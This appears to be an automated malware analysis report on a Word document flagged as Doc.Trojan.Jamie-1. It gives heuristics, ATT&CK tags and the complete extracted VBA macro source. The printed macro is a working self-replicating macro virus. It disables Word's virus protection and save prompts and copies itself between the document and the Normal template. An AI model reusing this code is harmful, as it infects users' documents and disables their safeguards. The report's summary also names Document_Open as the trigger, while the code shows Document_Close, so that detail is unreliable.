MALICIOUS
120
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is an OLE document containing a malicious VBA macro, specifically triggered by the Document_Open event. The macro manipulates its own description and attempts to export/import code, suggesting an attempt to hide or install further malicious components. The presence of 'Jamie' in the code and the ClamAV detection 'Doc.Trojan.Jamie-1' strongly indicate malicious intent, likely as a downloader or dropper.
Heuristics 3
-
ClamAV: Doc.Trojan.Jamie-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Jamie-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1594 bytes |
SHA-256: e377e78d688b17221dbcc33e5f77c1709dd11c7401f2d28c36716e48c5a294fa |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
Options.VirusProtection = False
Options.SaveNormalPrompt = False
ActiveDocument.VBProject.VBComponents.Item (1)
Options.ConfirmConversions = False
Set AD = ActiveDocument.VBProject.VBComponents.Item(1)
Set NT = NormalTemplate.VBProject.VBComponents.Item(1)
If ActiveDocument.VBProject.Description <> "For Jamie..." Then GoTo ADI
If NormalTemplate.VBProject.Description <> "For Jamie..." Then GoTo NTI
End
ADI:
Set MTI = AD
Set MTC = NT
OPM = "Private Sub Document_Close()"
AII = AD.CodeModule.CountOfLines
ActiveDocument.VBProject.Description = "For Jamie..."
GoTo Install
NTI:
Set MTI = NT
Set MTC = AD
OPM = "Private Sub Document_Open()"
AII = NT.CodeModule.CountOfLines
NormalTemplate.VBProject.Description = "For Jamie..."
GoTo Install
Install:
If AII > 0 Then
With MTI.CodeModule
For x = x To AII
.DeleteLines 1
Next
End With
End If
If AII >= 0 Then
MTC.Export ("Jamie.tmp")
MTI.CodeModule.AddFromFile ("Jamie.tmp")
With MTI.CodeModule
For x = x To 3
.DeleteLines 1
Next
.ReplaceLine 1, OPM
End With
Kill ("Jamie.tmp")
End If
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub
',.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,
' Jamie(Type B) By Lys KovicK
'';';';';';';';';';';';';';';';';';';';';'
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.